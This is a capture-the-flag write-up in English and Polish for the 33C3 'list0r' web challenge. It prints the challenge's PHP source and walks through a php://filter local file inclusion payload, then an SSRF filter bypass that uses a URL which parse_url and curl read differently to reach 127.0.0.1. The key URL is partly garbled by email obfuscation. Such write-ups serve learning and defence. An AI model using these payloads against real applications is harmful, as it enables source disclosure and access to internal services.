Skip to content

Latest commit

 

History

History

web_400_list0r

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

list0r (web 400)

###ENG PL

In the task we get a webpage where user can create lists of things. We quickly realise that it's possible to login as admin with any password and username admin and from this we get information that the flag is at http://78.46.224.80/reeeaally/reallyy/c00l/and_aw3sme_flag But we can't get the flag because there is a check to verify IP address and the query has to come from 127.0.0.1

We also quickly notice that there is php filter vulnerability combined with local file inclusion there.

The links are for example http://78.46.224.80/?page=profile and the page GET parameter is included with .php added at the end. We can, however, do: http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile to get the base64 encoded source of the included file.

This way we extract all source codes from the page.

There are two interesting bits. First one is that we can provide a link to avatar and the picture will be downloaded. In case it's not an actual image, the contents will be printed! It seems perfect for our needs because it will print the flag and the query will be run from localhost.

if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
	$pic = get_contents($_POST["pic"]);
	if (!is_image($pic)) {
		die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
	} else {
		$pic_name = "profiles/" . sha1(rand());
		file_put_contents($pic_name, $pic);
	}
}

The second interesting bit is the get_contents function:

function in_cidr($cidr, $ip) {
	list($prefix, $mask) = explode("/", $cidr);

	return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}

function get_contents($url) {
	$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];

	do {
		$url_parts = parse_url($url);

		if (!array_key_exists("host", $url_parts)) {
			die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
		}

		$host = $url_parts["host"];

		if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
			$ip = $host;
		} else {
			$ip = dns_get_record($host, DNS_A);
			if (count($ip) > 0) {
				$ip = $ip[0]["ip"];
				debug("Resolved to {$ip}");
			} else {
				die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
			}
		}

		foreach ($disallowed_cidrs as $cidr) {
			if (in_cidr($cidr, $ip)) {
				die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
			}
		}

		// all good, curl now
		debug("Curling {$url}");
		$curl = curl_init();
		curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
		curl_setopt($curl, CURLOPT_TIMEOUT, 3);
		curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL 
			& ~CURLPROTO_FILE 
			& ~CURLPROTO_SCP); // no files plzzz
		curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz

		$data = curl_exec($curl);

		if (!$data) {
			die("<p><h3 style=color:red>something went wrong....</h3></p>");
		}

		if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
			die("<p><h3 style=color:red>Timeout!! thats a slowass  server</h3></p>");
		}

		// check for redirects
		$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
		if ($status >= 301 and $status <= 308) {
			$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
		} else {
			return $data;
		}

	} while (1);
}

This function seems to block any local address query, so we can't try to get a local file with flag. The trick here is that the IP is checked using parse_url PHP function, while the call itself is done with curl.

We remember that there was a similar vulnerability exploited on a CTF a while ago. The PHP function does not parse url correctly if username and passwords are provided! If we use URL http://what:[email protected]:[email protected]/reeeaally/reallyy/c00l/and_aw3sme_flag

The PHP will get:

array (
  'scheme' => 'http',
  'host' => '33c3ctf.ccc.ac',
  'user' => 'what',
  'pass' => '[email protected]:80',
  'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)

So it will assume we query the host 33c3ctf.ccc.ac and the CIDR checks will not block us. But what curl will assume is that the user is what, pass is ever and host is 127.0.0.1:80, which is exactly what we need.

So in the end we will get:

Does this look like an image to you???????? people are dumb these days...

33C3_w0w_is_th3r3_anything_that_php_actually_gets_right?!??? 

###PL version

W zadaniu dostajemy stronę internetową gdzie można tworzyć sobie listy. Szybko zauważamy że można zalogować się jako admin z dowolnym hasłem i dowiadujemy się, ze flaga jest pod http://78.46.224.80/reeeaally/reallyy/c00l/and_aw3sme_flag Nie możemy jednak po prostu jej odczytać, bo request musi iść z IP 127.0.0.1

Szybko zauważyliśmy też, że jest tam podatność php filter połączona z local file inclusion.

Linki to np. http://78.46.224.80/?page=profile a parametr GET page jest includowany z dodaniem .php. Możemy jednak zrobić http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile aby dostać zawartość includowanego pliku jako base64.

W ten sposób wyciągamy źródła wszystkich plików php.

Są tam dwa ciekawe elementy. Pierwszy to miejsce gdzie możemy załadować avatar z podanego przez nas linku. Plik zostanie pobrany i jeśli nie jest obrazkiem, wypisana zostanie jego zawartość. To wydaje się idealne do naszych potrzeb ponieważ wypisze nam flagę a request będzie szedł z localhosta.

if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
	$pic = get_contents($_POST["pic"]);
	if (!is_image($pic)) {
		die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
	} else {
		$pic_name = "profiles/" . sha1(rand());
		file_put_contents($pic_name, $pic);
	}
}

Drugi ciekawy element to sama funkcja get_contents:

function in_cidr($cidr, $ip) {
	list($prefix, $mask) = explode("/", $cidr);

	return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}

function get_contents($url) {
	$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];

	do {
		$url_parts = parse_url($url);

		if (!array_key_exists("host", $url_parts)) {
			die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
		}

		$host = $url_parts["host"];

		if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
			$ip = $host;
		} else {
			$ip = dns_get_record($host, DNS_A);
			if (count($ip) > 0) {
				$ip = $ip[0]["ip"];
				debug("Resolved to {$ip}");
			} else {
				die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
			}
		}

		foreach ($disallowed_cidrs as $cidr) {
			if (in_cidr($cidr, $ip)) {
				die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
			}
		}

		// all good, curl now
		debug("Curling {$url}");
		$curl = curl_init();
		curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
		curl_setopt($curl, CURLOPT_TIMEOUT, 3);
		curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL 
			& ~CURLPROTO_FILE 
			& ~CURLPROTO_SCP); // no files plzzz
		curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz

		$data = curl_exec($curl);

		if (!$data) {
			die("<p><h3 style=color:red>something went wrong....</h3></p>");
		}

		if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
			die("<p><h3 style=color:red>Timeout!! thats a slowass  server</h3></p>");
		}

		// check for redirects
		$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
		if ($status >= 301 and $status <= 308) {
			$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
		} else {
			return $data;
		}

	} while (1);
}

Ta funkcja wydaje się blokować dowolny lokalny adres, więc nie możemy pobrać lokalnego pliku z flagą. Trik polega na tym, że IP jest sprawdzane funkcją PHP parse_url, podczas gdy samo pobranie pliku za pomocą curl.

Pamiętamy, że niedawno podobna podatność była wykorzystana już na CTFie. Funkcja PHP nie parsuje URL poprawnie jeśli podamy tam username i password. Jeśli podamy URL http://what:[email protected]:[email protected]/reeeaally/reallyy/c00l/and_aw3sme_flag

PHP odczyta to jako:

array (
  'scheme' => 'http',
  'host' => '33c3ctf.ccc.ac',
  'user' => 'what',
  'pass' => '[email protected]:80',
  'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)

Więc założy że odpytujemy hosta 33c3ctf.ccc.ac i żaden z testów CIDR nas nie zablokuje. Jednak curl odczyta to inaczej i user to what, hasło to ever a host to 127.0.0.1:80, czyli dokładnie to czego nam potrzeba.

Finalnie dla takiego avatara dostajemy:

Does this look like an image to you???????? people are dumb these days...

33C3_w0w_is_th3r3_anything_that_php_actually_gets_right?!???